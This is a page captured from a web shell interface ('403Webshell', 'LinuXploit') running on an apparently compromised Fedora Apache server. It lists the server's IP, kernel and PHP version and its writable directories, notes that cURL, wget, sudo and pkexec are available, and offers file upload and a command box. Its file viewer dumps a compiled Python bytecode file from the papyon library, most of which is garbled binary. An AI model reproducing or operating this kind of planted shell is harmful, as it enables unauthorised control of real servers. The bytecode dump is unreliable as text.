403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/papyon/media/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/papyon/media/stream.pyo
Ñò
O Jc@svddklZddkTddkZddkZddkZeidƒZdgZdei	efd„ƒYZ
dS(iÿÿÿÿ(tEventsDispatcher(t*Nspapyon.media.streamtMediaStreamcBseZdZheieidfd6eieidfd6Zd„Zed„ƒZ	ed„ƒZ
ed„ƒZed„ƒZed„ƒZ
ed	„ƒZd
„Zd„Zd„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„ZRS(süA stream used to transfer media data. It can be an audio or video
       stream and may have codecs and transport candidates associated with it.

       A stream handler implementing the L{papyon.event.MediaStreamEventInferface}
       might need to execute some actions when a stream receives remote codecs
       and candidates (e.g. codecs negotiation) or when closed. (e.g. UI
       notification). See L{papyon.media.conference.MediaStreamHandler} for a
       default implementation using Farsight 2.0.tpreparedtreadycCs¨tii|ƒti|ƒti|ƒ|_||_t|_	||_
||_g|_t|_
d|_g|_t|_g|_d|_g|_g|_dS(sÉInitialize the media stream.

           @param session: Session that contains this stream
           @type session: L{papyon.media.session.MediaSession}
           @param name: Stream name
           @type name: string
           @param direction: Stream direction
           @type direction: L{papyon.media.constants.MediaStreamDirection}
           @param created: Whether or not the stream has been requested by the client
           @type created: boolN(tgobjecttGObjectt__init__Rtweakreftreft_sessiont_nametFalset_activet_createdt
_directiont
_local_codecst_local_codecs_preparedtNonet_local_candidate_idt_local_candidatest_local_candidates_preparedt_remote_codecst_remote_candidate_idt_remote_candidatestrelays(tselftsessiontnamet	directiontcreated((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyR3s 
												cCs
|iƒS(sParent session(R
(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyRPscCs|iS(sStream name(R(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyRUscCs|iS(s-Is the stream created locally (outgoing call)(R(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytcreated_locallyZscCs|iS(sXDirection of the stream
           @rtype L{papyon.media.constants.MediaStreamDirection}(R(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyR_scCs|io|iS(s3Are the stream local codecs and candidates received(RR(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyRes
cCs|idj	o
|idj	S(sIs the candidate pair selectedN(RRR(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyRkscCs|idƒdS(sClose the streamton_stream_closedN(t	_dispatch(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytcloseqscCsb|i|_|iƒ\}}|o|ii|ƒn|o|di|_n|iƒdS(såSet remote stream informations (candidates, codecs) from the given
           stream description.

           @param desc: Remote stream description to process
           @type desc: L{papyon.media.message.MediaStreamDescription}iN(tvalid_codecsRtget_candidatesRtextendt
foundationRtprocess(Rtdesctremote_candidatestlocal_candidates((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytprocess_remote_descriptionuscCst|_|iƒdS(sYFunction called once the stream handler is ready to handle the
           stream signals.N(tTrueR
R'(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytactivateŒs	cCsU|ipdS|io|id|iƒn|io|id|iƒndS(s¿Emit signals if we need to. (i.e. if we have received the list
           of remote codecs or remote candidates. Only do it once the
           stream handler is ready (self._active == True).Nton_remote_codecs_receivedton_remote_candidates_received(R
RR!R(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyR'’s


cCs|iS(s:Returns the list of possible local codecs for this stream.(R(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytget_local_codecsŸscs4|i‰|i}ˆot‡fd†|ƒS|S(s¬Returns the active local candidates or all the candidates if there
           isn't any active one. This list is meant to be sent to the other
           call participants.cs
|iˆjS((R&(tx(tactive(s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyt<lambda>¬s(RRtfilter(Rt
candidates((R2s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytget_active_local_candidates¤s
		cs:|i‰|i}ˆdjogSt‡fd†|ƒS(s%Returns the active remote candidates.cs
|iˆjS((R&(R1(R2(s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyR3¶sN(RRRR4(RR5((R2s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytget_active_remote_candidates¯s
		
cCsÍd}d}d}|i}|iƒ}|o|o
|i}nxz|iD]o}|i|jo)|itijo|i}|i}n|i|jo |iti	jo
|i}qMqMW|||fS(sŒReturns the default address. We use the active local candidate if
           there is one selected, else we are using the default candidate.ti(
Rtsearch_default_candidateR&Rtcomponent_idt
COMPONENTStRTPtiptporttRTCP(RR=R>trtcpR2tdefaultt	candidate((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytget_default_address¸s"	

	
cCsod}xb|iD]W}|idjoqn|idjo|S|p|i|ijo
|}qqW|S(skReturns the first relay found in the local candidates or the
           candidate with the lowest priority.tUDPtrelayN(RRt	transportttypetpriority(RRARB((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyR9Ðs
cCs|ii|ƒdS(s¶Called by the stream handler when it finds a new local candidate
           @param candidate: New local candidate
           @type candidate: L{papyon.media.candidate.MediaCandidate}N(Rtappend(RRB((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytnew_local_candidateáscCsItid||fƒ|iodS||_||_|idƒdS(sîCalled by the stream handler once the active candidate pair is selected
           @param local: Local active candidate id
           @type local: string
           @param remote: Remote active candidate id
           @type remote: strings"New active candidate pair (%s, %s)NR(tloggertdebugRRRtemit(Rtlocaltremote((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytnew_active_candidate_pairès
		cCs7|iodSt|_|io|idƒndS(sDCalled by the stream handler once all the local candidates are foundNR(RR,RRM(R((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytlocal_candidates_preparedös

	
cCs@||_|iodSt|_|io|idƒndS(s¥Called by the stream handler to set the local codecs
           @param codecs: List of local codecs
           @type codecs: list of L{papyon.media.codec.MediaCodec}NR(RRR,RRM(Rtcodecs((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pytset_local_codecsÿs	
	
(((t__name__t
__module__t__doc__RtSIGNAL_RUN_FIRSTt	TYPE_NONEt__gsignals__RtpropertyRRRRRRR"R+R-R'R0R6R7RCR9RJRPRQRS(((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyR s8

					
										(tpapyon.eventRtpapyon.media.constantsRtloggingRt	getLoggerRKt__all__RR(((s7/usr/lib/python2.6/site-packages/papyon/media/stream.pyt<module>s
	

Youez - 2016 - github.com/yon3zu
LinuXploit